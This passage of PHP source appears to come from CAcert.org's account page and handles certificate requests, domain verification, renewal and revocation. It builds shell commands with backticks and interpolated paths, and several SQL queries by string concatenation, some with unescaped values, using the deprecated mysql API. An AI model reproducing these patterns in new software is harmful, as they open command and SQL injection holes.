228 $_SESSION['_config']['disablelogin'] = 1;
229
230 $_SESSION['_config']['rootcert'] = 1;
231 if($_SESSION['profile']['points'] >= 50)
232 {
233 $_SESSION['_config']['rootcert'] = intval($_REQUEST['rootcert']);
234 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
235 $_SESSION['_config']['rootcert'] = 1;
236 }
237 $csr = "";
238 if(trim($_REQUEST['optionalCSR']) == "")
239 {
240 $id = 4;
241 } else {
242 $oldid = 4;
243 $_REQUEST['keytype'] = "MS";
244 $csr = clean_csr($_REQUEST['optionalCSR']);
245 }
246 }
247
248 if($oldid == 4)
249 {
250 if($_REQUEST['keytype'] == "NS")
251 {
252 $spkac=""; if(array_key_exists('SPKAC',$_REQUEST) && preg_match("/^[a-zA-Z0-9+=\/]+$/", trim(str_replace("\n", "", str_replace("\r", "",$_REQUEST['SPKAC']))))) $spkac=trim(str_replace("\n", "", str_replace("\r", "",$_REQUEST['SPKAC'])));
253
254 if($spkac=="" || $spkac == "deadbeef")
255 {
256 $id = 4;
257 showheader(_("My CAcert.org Account!"));
258 echo _("I didn't receive a valid Certificate Request, please try a different browser.");
259 showfooter();
260 exit;
261 }
262 $count = 0;
263 $emails = "";
264 $addys = array();
265 $defaultemail="";
266 if(is_array($_SESSION['_config']['addid']))
267 foreach($_SESSION['_config']['addid'] as $id)
268 {
269 $res = mysql_query("select * from `email` where `memid`='".$_SESSION['profile']['id']."' and `id`='".intval($id)."'");
270 if(mysql_num_rows($res) > 0)
271 {
272 $row = mysql_fetch_assoc($res);
273 if(!$emails)
274 $defaultemail = $row['email'];
275 $emails .= "$count.emailAddress = ".$row['email']."\n";
276 $count++;
277 $addys[] = intval($row['id']);
278 }
279 }
280 if($count <= 0 && $_SESSION['_config']['SSO'] != 1)
281 {
282 $id = 4;
283 showheader(_("My CAcert.org Account!"));
284 echo _("You submitted invalid email addresses, or email address you no longer have control of. Can't continue with certificate request.");
285 showfooter();
286 exit;
287 }
288 $user = mysql_fetch_assoc(mysql_query("select * from `users` where `id`='".$_SESSION['profile']['id']."'"));
289 if($_SESSION['_config']['SSO'] == 1)
290 $emails .= "$count.emailAddress = ".$user['uniqueID']."\n";
291
292 if(strlen($user['mname']) == 1)
293 $user['mname'] .= '.';
294 if(!array_key_exists('incname',$_SESSION['_config']) || $_SESSION['_config']['incname'] <= 0 || $_SESSION['_config']['incname'] > 4)
295 {
296 $emails .= "commonName = CAcert WoT User\n";
297 }
298 else
299 {
300 if($_SESSION['_config']['incname'] == 1)
301 $emails .= "commonName = ".$user['fname']." ".$user['lname']."\n";
302 if($_SESSION['_config']['incname'] == 2)
303 $emails .= "commonName = ".$user['fname']." ".$user['mname']." ".$user['lname']."\n";
304 if($_SESSION['_config']['incname'] == 3)
305 $emails .= "commonName = ".$user['fname']." ".$user['lname']." ".$user['suffix']."\n";
306 if($_SESSION['_config']['incname'] == 4)
307 $emails .= "commonName = ".$user['fname']." ".$user['mname']." ".$user['lname']." ".$user['suffix']."\n";
308 }
309 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
310 $_SESSION['_config']['rootcert'] = 1;
311
312 $emails .= "SPKAC = $spkac";
313 if (($weakKey = checkWeakKeySPKAC($emails)) !== "")
314 {
315 $id = 4;
316 showheader(_("My CAcert.org Account!"));
317 echo $weakKey;
318 showfooter();
319 exit;
320 }
321
322 $query = "insert into emailcerts set
323 `CN`='$defaultemail',
324 `keytype`='NS',
325 `memid`='".intval($_SESSION['profile']['id'])."',
326 `created`=FROM_UNIXTIME(UNIX_TIMESTAMP()),
327 `codesign`='".intval($_SESSION['_config']['codesign'])."',
328 `disablelogin`='".($_SESSION['_config']['disablelogin']?1:0)."',
329 `rootcert`='".intval($_SESSION['_config']['rootcert'])."'";
330 mysql_query($query);
331 $emailid = mysql_insert_id();
332 if(is_array($addys))
333 foreach($addys as $addy)
334 mysql_query("insert into `emaillink` set `emailcertsid`='$emailid', `emailid`='$addy'");
335 $CSRname=generatecertpath("csr","client",$emailid);
336 $fp = fopen($CSRname, "w");
337 fputs($fp, $emails);
338 fclose($fp);
339 $challenge=$_SESSION['spkac_hash'];
340 $res=`openssl spkac -verify -in $CSRname`;
341 if(!strstr($res,"Challenge String: ".$challenge))
342 {
343 $id = $oldid;
344 showheader(_("My CAcert.org Account!"));
345 echo _("The challenge-response code of your certificate request did not match. Can't continue with certificaterequest.");
346 showfooter();
347 exit;
348 }
349 mysql_query("update `emailcerts` set `csr_name`='$CSRname' where `id`='".intval($emailid)."'");
350 } else if($_REQUEST['keytype'] == "MS" || $_REQUEST['keytype'] == "VI") {
351 if($csr == "")
352 $csr = "-----BEGIN CERTIFICATE REQUEST-----\n".clean_csr($_REQUEST['CSR'])."\n-----END CERTIFICATE REQUEST-----\n";
353
354 if (($weakKey = checkWeakKeyCSR($csr)) !== "")
355 {
356 $id = 4;
357 showheader(_("My CAcert.org Account!"));
358 echo $weakKey;
359 showfooter();
360 exit;
361 }
362
363 $tmpfname = tempnam("/tmp", "id4CSR");
364 $fp = fopen($tmpfname, "w");
365 fputs($fp, $csr);
366 fclose($fp);
367
368 $addys = array();
369 $defaultemail = "";
370 $csrsubject="";
371
372 $user = mysql_fetch_assoc(mysql_query("select * from `users` where `id`='".intval($_SESSION['profile']['id'])."'"));
373 if(strlen($user['mname']) == 1)
374 $user['mname'] .= '.';
375 if($_SESSION['_config']['incname'] <= 0 || $_SESSION['_config']['incname'] > 4)
376 $csrsubject = "/CN=CAcert WoT User";
377 if($_SESSION['_config']['incname'] == 1)
378 $csrsubject = "/CN=".$user['fname']." ".$user['lname'];
379 if($_SESSION['_config']['incname'] == 2)
380 $csrsubject = "/CN=".$user['fname']." ".$user['mname']." ".$user['lname'];
381 if($_SESSION['_config']['incname'] == 3)
382 $csrsubject = "/CN=".$user['fname']." ".$user['lname']." ".$user['suffix'];
383 if($_SESSION['_config']['incname'] == 4)
384 $csrsubject = "/CN=".$user['fname']." ".$user['mname']." ".$user['lname']." ".$user['suffix'];
385 if(is_array($_SESSION['_config']['addid']))
386 foreach($_SESSION['_config']['addid'] as $id)
387 {
388 $res = mysql_query("select * from `email` where `memid`='".intval($_SESSION['profile']['id'])."' and `id`='".intval($id)."'");
389 if(mysql_num_rows($res) > 0)
390 {
391 $row = mysql_fetch_assoc($res);
392 if($defaultemail == "")
393 $defaultemail = $row['email'];
394 $csrsubject .= "/emailAddress=".$row['email'];
395 $addys[] = $row['id'];
396 }
397 }
398 if($_SESSION['_config']['SSO'] == 1)
399 $csrsubject .= "/emailAddress = ".$user['uniqueID'];
400
401 $tmpname = tempnam("/tmp", "id4csr");
402 $do = `/usr/bin/openssl req -in $tmpfname -out $tmpname`; // -subj "$csr"`;
403 @unlink($tmpfname);
404 $csr = "";
405 $fp = fopen($tmpname, "r");
406 while($data = fgets($fp, 4096))
407 $csr .= $data;
408 fclose($fp);
409 @unlink($tmpname);
410 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
411 $_SESSION['_config']['rootcert'] = 1;
412
413 if($csr == "")
414 {
415 $id = 4;
416 showheader(_("My CAcert.org Account!"));
417 echo _("I didn't receive a valid Certificate Request, hit the back button and try again.");
418 showfooter();
419 exit;
420 }
421 $query = "insert into emailcerts set
422 `CN`='$defaultemail',
423 `keytype`='".sanitizeHTML($_REQUEST['keytype'])."',
424 `memid`='".$_SESSION['profile']['id']."',
425 `created`=FROM_UNIXTIME(UNIX_TIMESTAMP()),
426 `subject`='".mysql_real_escape_string($csrsubject)."',
427 `codesign`='".$_SESSION['_config']['codesign']."',
428 `rootcert`='".$_SESSION['_config']['rootcert']."'";
429 mysql_query($query);
430 $emailid = mysql_insert_id();
431 if(is_array($addys))
432 foreach($addys as $addy)
433 mysql_query("insert into `emaillink` set `emailcertsid`='$emailid', `emailid`='".mysql_real_escape_string($addy)."'");
434 $CSRname=generatecertpath("csr","client",$emailid);
435 $fp = fopen($CSRname, "w");
436 fputs($fp, $csr);
437 fclose($fp);
438 mysql_query("update `emailcerts` set `csr_name`='$CSRname' where `id`='$emailid'");
439 }
440 waitForResult("emailcerts", $emailid, 4);
441 $query = "select * from `emailcerts` where `id`='$emailid' and `crt_name` != ''";
442 $res = mysql_query($query);
443 if(mysql_num_rows($res) <= 0)
444 {
445 $id = 4;
446 showheader(_("My CAcert.org Account!"));
447 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions."), "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
448 showfooter();
449 exit;
450 } else {
451 $id = 6;
452 $cert = $emailid;
453 $_REQUEST['cert']=$emailid;
454 }
455 }
456
457 if($oldid == 7)
458 {
459 csrf_check("adddomain");
460 if(strstr($_REQUEST['newdomain'],"\x00"))
461 {
462 showheader(_("My CAcert.org Account!"));
463 echo _("Due to the possibility for nullbyte domain exploits we currently do not allow any domain names with nullbytes.");
464 showfooter();
465 exit;
466 }
467
468 list($newdomain) = explode(" ", $_REQUEST['newdomain'], 2); // Ignore the rest
469 while($newdomain['0'] == '-')
470 $newdomain = substr($newdomain, 1);
471 if(strstr($newdomain, "xn--") && $_SESSION['profile']['codesign'] <= 0)
472 {
473 showheader(_("My CAcert.org Account!"));
474 echo _("Due to the possibility for punycode domain exploits we currently do not allow any certificates to sign punycode domains or email addresses.");
475 showfooter();
476 exit;
477 }
478
479 $newdom = trim(escapeshellarg($newdomain));
480 $newdomain = mysql_real_escape_string(trim($newdomain));
481
482 $res1 = mysql_query("select * from `orgdomains` where `domain`='$newdomain'");
483 $query = "select * from `domains` where `domain`='$newdomain' and `deleted`=0";
484 $res2 = mysql_query($query);
485 if(mysql_num_rows($res1) > 0 || mysql_num_rows($res2))
486 {
487 $oldid=0;
488 $id = 7;
489 showheader(_("My CAcert.org Account!"));
490 printf(_("The domain '%s' is already in a different account and is listed as valid. Can't continue."), sanitizeHTML($newdomain));
491 showfooter();
492 exit;
493 }
494 }
495
496 if($oldid == 7)
497 {
498 $oldid=0;
499 $id = 8;
500 $addy = array();
501 $adds = array();
502 if(strtolower(substr($newdom, -4, 3)) != ".jp")
503 $adds = explode("\n", trim(`/usr/bin/whois $newdom|grep "@"`));
504 if(substr($newdomain, -4) == ".org" || substr($newdomain, -5) == ".info")
505 {
506 if(is_array($adds))
507 foreach($adds as $line)
508 {
509 $bits = explode(":", $line, 2);
510 $line = trim($bits[1]);
511 if(!in_array($line, $addy) && $line != "")
512 $addy[] = trim(mysql_real_escape_string(stripslashes($line)));
513 }
514 } else {
515 if(is_array($adds))
516 foreach($adds as $line)
517 {
518 $line = trim(str_replace("\t", " ", $line));
519 $line = trim(str_replace("(", "", $line));
520 $line = trim(str_replace(")", " ", $line));
521 $line = trim(str_replace(":", " ", $line));
522
523 $bits = explode(" ", $line);
524 foreach($bits as $bit)
525 {
526 if(strstr($bit, "@"))
527 $line = $bit;
528 }
529 if(!in_array($line, $addy) && $line != "")
530 $addy[] = trim(mysql_real_escape_string(stripslashes($line)));
531 }
532 }
533
534 $rfc = array("root@$newdomain", "hostmaster@$newdomain", "postmaster@$newdomain", "admin@$newdomain", "webmaster@$newdomain");
535 foreach($rfc as $sub)
536 if(!in_array($sub, $addy))
537 $addy[] = $sub;
538 $_SESSION['_config']['addy'] = $addy;
539 $_SESSION['_config']['domain'] = mysql_real_escape_string($newdomain);
540 }
541
542 if($process != "" && $oldid == 8)
543 {
544 csrf_check('ctcinfo');
545 $oldid=0;
546 $id = 8;
547
548 $authaddy = trim(mysql_real_escape_string(stripslashes($_REQUEST['authaddy'])));
549
550 if($authaddy == "" || !is_array($_SESSION['_config']['addy']))
551 {
552 showheader(_("My CAcert.org Account!"));
553 echo _("The address you submitted isn't a valid authority address for the domain.");
554 showfooter();
555 exit;
556 }
557
558 if(!in_array($authaddy, $_SESSION['_config']['addy']))
559 {
560 showheader(_("My CAcert.org Account!"));
561 echo _("The address you submitted isn't a valid authority address for the domain.");
562 showfooter();
563 exit;
564 }
565
566 $query = "select * from `domains` where `domain`='".mysql_real_escape_string($_SESSION['_config']['domain'])."' and `deleted`=0";
567 $res = mysql_query($query);
568 if(mysql_num_rows($res) > 0)
569 {
570 showheader(_("My CAcert.org Account!"));
571 printf(_("The domain '%s' is already in a different account and is listed as valid. Can't continue."), sanitizeHTML($_SESSION['_config']['domain']));
572 showfooter();
573 exit;
574 }
575 $checkemail = checkEmail($authaddy);
576 if($checkemail != "OK")
577 {
578 showheader(_("My CAcert.org Account!"));
579 //echo "<p>"._("Email Address given was invalid, or a test connection couldn't be made to your server, or the server rejected the email address as invalid")."</p>\n";
580 if (substr($checkemail, 0, 1) == "4")
581 {
582 echo "<p>"._("The mail server responsible for your domain indicated a temporary failure. This may be due to anti-SPAM measures, such as greylisting. Please try again in a few minutes.")."</p>\n";
583 } else {
584 echo "<p>"._("Email Address given was invalid, or a test connection couldn't be made to your server, or the server rejected the email address as invalid")."</p>\n";
585 }
586 echo "<p>$checkemail</p>\n";
587 showfooter();
588 exit;
589 }
590
591 $hash = make_hash();
592 $query = "insert into `domains` set `domain`='".mysql_real_escape_string($_SESSION['_config']['domain'])."',
593 `memid`='".$_SESSION['profile']['id']."',`created`=NOW(),`hash`='$hash'";
594 mysql_query($query);
595 $domainid = mysql_insert_id();
596
597 $body = sprintf(_("Below is the link you need to open to verify your domain '%s'. Once your address is verified you will be able to start issuing certificates to your heart's content!"),$_SESSION['_config']['domain'])."\n\n";
598 $body .= "http://".$_SESSION['_config']['normalhostname']."/verify.php?type=domain&domainid=$domainid&hash=$hash\n\n";
599 $body .= _("Best regards")."\n"._("CAcert.org Support!");
600
601 sendmail($authaddy, "[CAcert.org] "._("Email Probe"), $body, "[email protected]", "", "", "CAcert Support");
602
603 showheader(_("My CAcert.org Account!"));
604 printf(_("The domain '%s' has been added to the system, however before any certificates for this can be issued you need to open the link in a browser that has been sent to your email address."), $_SESSION['_config']['domain']);
605 showfooter();
606 exit;
607 }
608
609 if($process != "" && $oldid == 9)
610 {
611 $id = 9;
612 showheader(_("My CAcert.org Account!"));
613 if(array_key_exists('delid',$_REQUEST) && is_array($_REQUEST['delid']))
614 {
615 echo _("The following domains have been removed:")."<br>
616 ("._("Any valid certificates will be revoked as well").")<br>\n";
617
618 foreach($_REQUEST['delid'] as $id)
619 {
620 $id = intval($id);
621 $query = "select * from `domains` where `id`='$id' and `memid`='".$_SESSION['profile']['id']."'";
622 $res = mysql_query($query);
623 if(mysql_num_rows($res) > 0)
624 {
625 $row = mysql_fetch_assoc($res);
626 echo $row['domain']."<br>\n";
627
628 $dres = mysql_query(
629 "select distinct `domaincerts`.`id`
630 from `domaincerts`, `domlink`
631 where `domaincerts`.`domid` = '$id'
632 or (
633 `domaincerts`.`id` = `domlink`.`certid`
634 and `domlink`.`domid` = '$id'
635 )");
636 while($drow = mysql_fetch_assoc($dres))
637 {
638 mysql_query(
639 "update `domaincerts`
640 set `revoked`='1970-01-01 10:00:01'
641 where `id` = '".$drow['id']."'
642 and `revoked` = 0
643 and UNIX_TIMESTAMP(`expire`) -
644 UNIX_TIMESTAMP() > 0");
645 }
646
647 mysql_query(
648 "update `domains`
649 set `deleted`=NOW()
650 where `id` = '$id'");
651 }
652 }
653 }
654 else
655 {
656 echo _("You did not select any domains for removal.");
657 }
658
659 showfooter();
660 exit;
661 }
662
663 if($process != "" && $oldid == 10)
664 {
665 $CSR = clean_csr($_REQUEST['CSR']);
666 if(strpos($CSR,"---BEGIN")===FALSE)
667 {
668 // In case the CSR is missing the ---BEGIN lines, add them automatically:
669 $CSR = "-----BEGIN CERTIFICATE REQUEST-----\n".$CSR."\n-----END CERTIFICATE REQUEST-----\n";
670 }
671
672 if (($weakKey = checkWeakKeyCSR($CSR)) !== "")
673 {
674 showheader(_("My CAcert.org Account!"));
675 echo $weakKey;
676 showfooter();
677 exit;
678 }
679
680 $_SESSION['_config']['tmpfname'] = tempnam("/tmp", "id10CSR");
681 $fp = fopen($_SESSION['_config']['tmpfname'], "w");
682 fputs($fp, $CSR);
683 fclose($fp);
684 $CSR = $_SESSION['_config']['tmpfname'];
685 $_SESSION['_config']['subject'] = trim(`/usr/bin/openssl req -text -noout -in "$CSR"|tr -d "\\0"|grep "Subject:"`);
686 $bits = explode(",", trim(`/usr/bin/openssl req -text -noout -in "$CSR"|tr -d "\\0"|grep -A1 'X509v3 Subject Alternative Name:'|grep DNS:`));
687 foreach($bits as $val)
688 {
689 $_SESSION['_config']['subject'] .= "/subjectAltName=".trim($val);
690 }
691 $id = 11;
692
693 $_SESSION['_config']['0.CN'] = $_SESSION['_config']['0.subjectAltName'] = "";
694 extractit();
695 getcn();
696 getalt();
697
698 if($_SESSION['_config']['0.CN'] == "" && $_SESSION['_config']['0.subjectAltName'] == "")
699 {
700 showheader(_("My CAcert.org Account!"));
701 echo _("CommonName field was blank. This is usually caused by entering your own name when openssl prompt's you for 'YOUR NAME', or if you try to issue certificates for domains you haven't already verified, as such this process can't continue.");
702 showfooter();
703 exit;
704 }
705
706 $_SESSION['_config']['rootcert'] = 1;
707 if($_SESSION['profile']['points'] >= 50)
708 {
709 $_SESSION['_config']['rootcert'] = intval($_REQUEST['rootcert']);
710 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
711 $_SESSION['_config']['rootcert'] = 1;
712 }
713 }
714
715 if($process != "" && $oldid == 11)
716 {
717 if(!file_exists($_SESSION['_config']['tmpfname']))
718 {
719 showheader(_("My CAcert.org Account!"));
720 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions."), "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
721 showfooter();
722 exit;
723 }
724
725 if (($weakKey = checkWeakKeyCSR(file_get_contents(
726 $_SESSION['_config']['tmpfname']))) !== "")
727 {
728 showheader(_("My CAcert.org Account!"));
729 echo $weakKey;
730 showfooter();
731 exit;
732 }
733
734 $id = 11;
735 if($_SESSION['_config']['0.CN'] == "" && $_SESSION['_config']['0.subjectAltName'] == "")
736 {
737 showheader(_("My CAcert.org Account!"));
738 echo _("CommonName field was blank. This is usually caused by entering your own name when openssl prompt's you for 'YOUR NAME', or if you try to issue certificates for domains you haven't already verified, as such this process can't continue.");
739 showfooter();
740 exit;
741 }
742
743 $subject = "";
744 $count = 0;
745 $supressSAN=0;
746 if($_SESSION["profile"]["id"] == 104074) $supressSAN=1;
747
748 if(is_array($_SESSION['_config']['rows']))
749 foreach($_SESSION['_config']['rows'] as $row)
750 {
751 $count++;
752 if($count <= 1)
753 {
754 $subject .= "/CN=$row";
755 if(!$supressSAN) $subject .= "/subjectAltName=DNS:$row";
756 if(!$supressSAN) $subject .= "/subjectAltName=otherName:1.3.6.1.5.5.7.8.5;UTF8:$row";
757 } else {
758 if(!$supressSAN) $subject .= "/subjectAltName=DNS:$row";
759 if(!$supressSAN) $subject .= "/subjectAltName=otherName:1.3.6.1.5.5.7.8.5;UTF8:$row";
760 }
761 }
762 if(is_array($_SESSION['_config']['altrows']))
763 foreach($_SESSION['_config']['altrows'] as $row)
764 {
765 if(substr($row, 0, 4) == "DNS:")
766 {
767 $row = substr($row, 4);
768 if(!$supressSAN) $subject .= "/subjectAltName=DNS:$row";
769 if(!$supressSAN) $subject .= "/subjectAltName=otherName:1.3.6.1.5.5.7.8.5;UTF8:$row";
770 }
771 }
772 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
773 $_SESSION['_config']['rootcert'] = 1;
774
775 if(array_key_exists('0',$_SESSION['_config']['rowid']) && $_SESSION['_config']['rowid']['0'] > 0)
776 {
777 $query = "insert into `domaincerts` set
778 `CN`='".mysql_real_escape_string($_SESSION['_config']['rows']['0'])."',
779 `domid`='".mysql_real_escape_string($_SESSION['_config']['rowid']['0'])."',
780 `created`=NOW(),`subject`='".mysql_real_escape_string($subject)."',
781 `rootcert`='".mysql_real_escape_string($_SESSION['_config']['rootcert'])."'";
782 } elseif(array_key_exists('0',$_SESSION['_config']['altid']) && $_SESSION['_config']['altid']['0'] > 0) {
783 $query = "insert into `domaincerts` set
784 `CN`='".mysql_real_escape_string($_SESSION['_config']['altrows']['0'])."',
785 `domid`='".mysql_real_escape_string($_SESSION['_config']['altid']['0'])."',
786 `created`=NOW(),`subject`='".mysql_real_escape_string($subject)."',
787 `rootcert`='".mysql_real_escape_string($_SESSION['_config']['rootcert'])."'";
788 } else {
789 showheader(_("My CAcert.org Account!"));
790 echo _("Domain not verified.");
791 showfooter();
792 exit;
793
794 }
795
796 mysql_query($query);
797 $CSRid = mysql_insert_id();
798
799 if(is_array($_SESSION['_config']['rowid']))
800 foreach($_SESSION['_config']['rowid'] as $dom)
801 mysql_query("insert into `domlink` set `certid`='$CSRid', `domid`='$dom'");
802 if(is_array($_SESSION['_config']['altid']))
803 foreach($_SESSION['_config']['altid'] as $dom)
804 mysql_query("insert into `domlink` set `certid`='$CSRid', `domid`='$dom'");
805
806 $CSRname=generatecertpath("csr","server",$CSRid);
807 rename($_SESSION['_config']['tmpfname'], $CSRname);
808 chmod($CSRname,0644);
809 mysql_query("update `domaincerts` set `CSR_name`='$CSRname' where `id`='$CSRid'");
810 waitForResult("domaincerts", $CSRid, 11);
811 $query = "select * from `domaincerts` where `id`='$CSRid' and `crt_name` != ''";
812 $res = mysql_query($query);
813 if(mysql_num_rows($res) <= 0)
814 {
815 $id = 11;
816 showheader(_("My CAcert.org Account!"));
817 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions."), "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
818 showfooter();
819 exit;
820 } else {
821 $id = 15;
822 $cert = $CSRid;
823 $_REQUEST['cert']=$CSRid;
824 }
825 }
826
827 if($oldid == 12 && array_key_exists('renew',$_REQUEST) && $_REQUEST['renew'] != "")
828 {
829 csrf_check('srvcerchange');
830 $id = 12;
831 showheader(_("My CAcert.org Account!"));
832 if(is_array($_REQUEST['revokeid']))
833 {
834 echo _("Now renewing the following certificates:")."<br>\n";
835 foreach($_REQUEST['revokeid'] as $id)
836 {
837 $id = intval($id);
838 echo _("Processing request")." $id:<br/>";
839 $query = "select *,UNIX_TIMESTAMP(`domaincerts`.`revoked`) as `revoke` from `domaincerts`,`domains`
840 where `domaincerts`.`id`='$id' and
841 `domaincerts`.`domid`=`domains`.`id` and
842 `domains`.`memid`='".$_SESSION['profile']['id']."'";
843 $res = mysql_query($query);
844 if(mysql_num_rows($res) <= 0)
845 {
846 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br/>\n", $id);
847 continue;
848 }
849
850 $row = mysql_fetch_assoc($res);
851
852 if (($weakKey = checkWeakKeyX509(file_get_contents(
853 $row['crt_name']))) !== "")
854 {
855 echo $weakKey, "<br/>\n";
856 continue;
857 }
858
859 mysql_query("update `domaincerts` set `renewed`='1' where `id`='$id'");
860 $query = "insert into `domaincerts` set
861 `domid`='".$row['domid']."',
862 `CN`='".mysql_real_escape_string($row['CN'])."',
863 `subject`='".mysql_real_escape_string($row['subject'])."',".
864 //`csr_name`='".$row['csr_name']."', // RACE CONDITION
865 "`created`='".$row['created']."',
866 `modified`=NOW(),
867 `rootcert`='".$row['rootcert']."',
868 `type`='".$row['type']."',
869 `pkhash`='".$row['pkhash']."'";
870 mysql_query($query);
871 $newid = mysql_insert_id();
872 $newfile=generatecertpath("csr","server",$newid);
873 copy($row['csr_name'], $newfile);
874 $_SESSION['_config']['subject'] = trim(`/usr/bin/openssl req -text -noout -in "$newfile"|tr -d "\\0"|grep "Subject:"`);
875 $bits = explode(",", trim(`/usr/bin/openssl req -text -noout -in "$newfile"|tr -d "\\0"|grep -A1 'X509v3 Subject Alternative Name:'|grep DNS:`));
876 foreach($bits as $val)
877 {
878 $_SESSION['_config']['subject'] .= "/subjectAltName=".trim($val);
879 }
880 $_SESSION['_config']['0.CN'] = $_SESSION['_config']['0.subjectAltName'] = "";
881 extractit();
882 getcn();
883 getalt();
884
885 if($_SESSION['_config']['0.CN'] == "" && $_SESSION['_config']['0.subjectAltName'] == "")
886 {
887 echo _("CommonName field was blank. This is usually caused by entering your own name when openssl prompt's you for 'YOUR NAME', or if you try to issue certificates for domains you haven't already verified, as such this process can't continue.");
888 continue;
889 }
890
891 $subject = "";
892 $count = 0;
893 if(is_array($_SESSION['_config']['rows']))
894 foreach($_SESSION['_config']['rows'] as $row)
895 {
896 $count++;
897 if($count <= 1)
898 {
899 $subject .= "/CN=$row";
900 if(!strstr($subject, "=$row/") &&
901 substr($subject, -strlen("=$row")) != "=$row")
902 $subject .= "/subjectAltName=$row";
903 } else {
904 if(!strstr($subject, "=$row/") &&
905 substr($subject, -strlen("=$row")) != "=$row")
906 $subject .= "/subjectAltName=$row";
907 }
908 }
909 if(is_array($_SESSION['_config']['altrows']))
910 foreach($_SESSION['_config']['altrows'] as $row)
911 if(!strstr($subject, "=$row/") &&
912 substr($subject, -strlen("=$row")) != "=$row")
913 $subject .= "/subjectAltName=$row";
914 $subject = mysql_real_escape_string($subject);
915 mysql_query("update `domaincerts` set `subject`='$subject',`csr_name`='$newfile' where `id`='$newid'");
916
917 echo _("Renewing").": ".sanitizeHTML($_SESSION['_config']['0.CN'])."<br>\n";
918 waitForResult("domaincerts", $newid,$oldid,0);
919 $query = "select * from `domaincerts` where `id`='$newid' and `crt_name` != ''";
920 $res = mysql_query($query);
921 if(mysql_num_rows($res) <= 0)
922 {
923 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions."), "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
924 } else {
925 $drow = mysql_fetch_assoc($res);
926 $cert = `/usr/bin/openssl x509 -in $drow[crt_name]`;
927 echo "<pre>\n$cert\n</pre>\n";
928 }
929 }
930 }
931 else
932 {
933 echo _("You did not select any certificates for renewal.");
934 }
935 showfooter();
936 exit;
937 }
938
939 if($oldid == 12 && array_key_exists('revoke',$_REQUEST) && $_REQUEST['revoke'] != "")
940 {
941 csrf_check('srvcerchange');
942 $id = 12;
943 showheader(_("My CAcert.org Account!"));
944 if(is_array($_REQUEST['revokeid']))
945 {
946 echo _("Now revoking the following certificates:")."<br>\n";
947 foreach($_REQUEST['revokeid'] as $id)
948 {
949 $id = intval($id);
950 $query = "select *,UNIX_TIMESTAMP(`domaincerts`.`revoked`) as `revoke` from `domaincerts`,`domains`
951 where `domaincerts`.`id`='$id' and
952 `domaincerts`.`domid`=`domains`.`id` and
953 `domains`.`memid`='".$_SESSION['profile']['id']."'";
954 $res = mysql_query($query);
955 if(mysql_num_rows($res) <= 0)
956 {
957 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
958 continue;
959 }
960 $row = mysql_fetch_assoc($res);
961 if($row['revoke'] > 0)
962 {
963 printf(_("It would seem '%s' has already been revoked. I'll skip this for now.")."<br>\n", $row['CN']);
964 continue;
965 }
966 mysql_query("update `domaincerts` set `revoked`='1970-01-01 10:00:01' where `id`='$id'");
967 printf(_("Certificate for '%s' has been revoked.")."<br>\n", $row['CN']);
968 }
969 }
970 else
971 {
972 echo _("You did not select any certificates for revocation.");
973 }
974
975 if(array_key_exists('delid',$_REQUEST) && is_array($_REQUEST['delid']))
976 {
977 echo _("Now deleting the following pending requests:")."<br>\n";
978 foreach($_REQUEST['delid'] as $id)
979 {
980 $id = intval($id);
981 $query = "select *,UNIX_TIMESTAMP(`domaincerts`.`expire`) as `expired` from `domaincerts`,`domains`
982 where `domaincerts`.`id`='$id' and
983 `domaincerts`.`domid`=`domains`.`id` and
984 `domains`.`memid`='".$_SESSION['profile']['id']."'";
985 $res = mysql_query($query);
986 if(mysql_num_rows($res) <= 0)
987 {
988 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
989 continue;
990 }
991 $row = mysql_fetch_assoc($res);
992 if($row['expired'] > 0)
993 {
994 printf(_("Couldn't remove the request for `%s`, request had already been processed.")."<br>\n", $row['CN']);
995 continue;
996 }
997 mysql_query("delete from `domaincerts` where `id`='$id'");
998 @unlink($row['csr_name']);
999 @unlink($row['crt_name']);
1000 printf(_("Removed a pending request for '%s'")."<br>\n", $row['CN']);
1001 }
1002 }
1003 showfooter();
1004 exit;
1005 }
1006
1007 if($oldid == 5 && array_key_exists('renew',$_REQUEST) && $_REQUEST['renew'] != "")
1008 {
1009 showheader(_("My CAcert.org Account!"));
1010 if(is_array($_REQUEST['revokeid']))
1011 {
1012 echo _("Now renewing the following certificates:")."<br>\n";
1013 foreach($_REQUEST['revokeid'] as $id)
1014 {
1015 $id = intval($id);
1016 $query = "select *,UNIX_TIMESTAMP(`revoked`) as `revoke` from `emailcerts`
1017 where `id`='$id' and `memid`='".$_SESSION['profile']['id']."'";
1018 $res = mysql_query($query);
1019 if(mysql_num_rows($res) <= 0)
1020 {
1021 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
1022 continue;
1023 }
1024
1025 $row = mysql_fetch_assoc($res);
1026
1027 if (($weakKey = checkWeakKeyX509(file_get_contents(
1028 $row['crt_name']))) !== "")
1029 {
1030 echo $weakKey, "<br/>\n";
1031 continue;
1032 }
1033
1034 mysql_query("update `emailcerts` set `renewed`='1' where `id`='$id'");
1035 $query = "insert into emailcerts set
1036 `memid`='".$row['memid']."',
1037 `CN`='".mysql_real_escape_string($row['CN'])."',
1038 `subject`='".mysql_real_escape_string($row['subject'])."',
1039 `keytype`='".$row['keytype']."',
1040 `csr_name`='".$row['csr_name']."',
1041 `created`='".$row['created']."',
1042 `modified`=NOW(),
1043 `disablelogin`='".$row['disablelogin']."',
